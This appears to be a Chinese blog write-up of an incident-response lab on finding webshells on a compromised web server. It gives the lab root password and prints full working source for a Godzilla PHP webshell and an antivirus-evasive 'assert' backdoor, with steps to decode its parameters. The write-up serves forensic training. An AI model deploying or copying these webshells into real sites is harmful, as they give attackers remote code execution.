当前位置: 首页 > news >正文

玄机——第一章 应急响应-webshell排查

玄机——第一章 应急响应-webshell排查

目录

  • 玄机——第一章 应急响应-webshell排查
    • 1、黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
    • 2、黑客使用的什么工具的shell github地址的md5 flag{md5}
    • 3、黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
    • 4、黑客免杀马完整路径 md5 flag{md5}

简介:

靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}

1、黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

将/var/www/html整个打包下来: tar -czvf html.tar.gz ./

将打包的后的源码放入D盾扫描,得到4个可疑文件:

在这里插入图片描述

逐个分析,最终在gz.php中看到了一行注释:

在这里插入图片描述

因此,flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

2、黑客使用的什么工具的shell github地址的md5 flag{md5}

$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }

这是一段哥斯拉的webshell,它的项目地址是https://github.com/BeichenDream/Godzilla,转成md5即可:

在这里插入图片描述

因此,flag{39392de3218c333f794befef07ac9257}

3、黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

让我们找出隐藏shell,我们可以在D盾的扫描结果中发现一个.Mysqli.php 的隐藏文件:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

里面依旧是哥斯拉的webshell,从它的key值依旧为3c6e0b8a9c15224a也可以看出。

那么将转为md5即可,文件路径为:/var/www/html/include/Db/.Mysqli.php,转成md5:

在这里插入图片描述

因此,flag{aebac0e58cd6c5fad1695ee4d1ac1919}

4、黑客免杀马完整路径 md5 flag{md5}

让我们找出免杀马,将这几个文件丢入沙箱看看,发现只有top.php没有报毒:

在这里插入图片描述

于是看看top.php的代码逻辑:

<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

这段代码用户通过URL传递两个参数func和func2。

func:经过Base64编码的字符串,解码后会被异或解密。func2:用于动态构造函数名。

通过这两个可控的参数,我们可以构造以下语句:

<?php

error_reporting(0);

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode('ERsDHgEUC1hI');
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}

$a = "a";
$s = "s";
$c=$a.$s.'sert';
echo $c."(".$fun.")";

在这里插入图片描述

因此,flag就是把该文件路径转成md5值即可:flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

在这里插入图片描述

相关文章:

  • Android笔记【snippet】
  • Selenium WebDriver自动化测试(扩展篇)--Jenkins持续集成
  • 物联网智能语音控制灯光系统设计与实现
  • Feign接口调用-请求响应数据底层实现
  • 深挖vue3基本原理之六 —— 类型系统设计与运行时核心架构
  • 【MyBatis】_使用XML实现MyBatis
  • 【transformers.Trainer填坑】在自定义compute_metrics时logits和labels数据维度不一致问题
  • 通过沙箱技术测试识别潜在的威胁
  • 第一章:认识Tailwind CSS - 第三节 - Tailwind CSS 开发环境搭建和工具链配置
  • redis的哨兵模式和集群模式
  • 1.3 AI大模型应用浪潮解析:高校、硅谷与地缘政治的三角博弈
  • vscode调试和环境路径配置
  • 【微软- Entra ID】Microsoft Entra ID
  • 强化学习《初学者》--基础概念贝尔曼公式
  • 【Java】一文了解spring的三级缓存
  • 如何使用智能化RFID管控系统,对涉密物品进行安全有效的管理?
  • 在香橙派5 NPU上使用Yolov5
  • Ollama+Deepseek+chatbox快速部署属于自己的大模型
  • SSM课设-学生选课系统
  • 格式工厂 FormatFactory v5.18.便携版 ——多功能媒体文件转换工具
  • 国家主席习近平同普京总统出席签字和合作文本交换仪式
  • 万玲、胡春平调任江西省鹰潭市副市长
  • 毗邻三市人均GDP全部超过20万元,苏锡常是怎样做到的?
  • 菲护卫艇企图侵闯中国黄岩岛领海,南部战区:依法依规跟踪监视、警告驱离
  • 陈丹燕:赤龙含珠
  • 万里云端遇见上博--搭乘“上博号”主题飞机体验记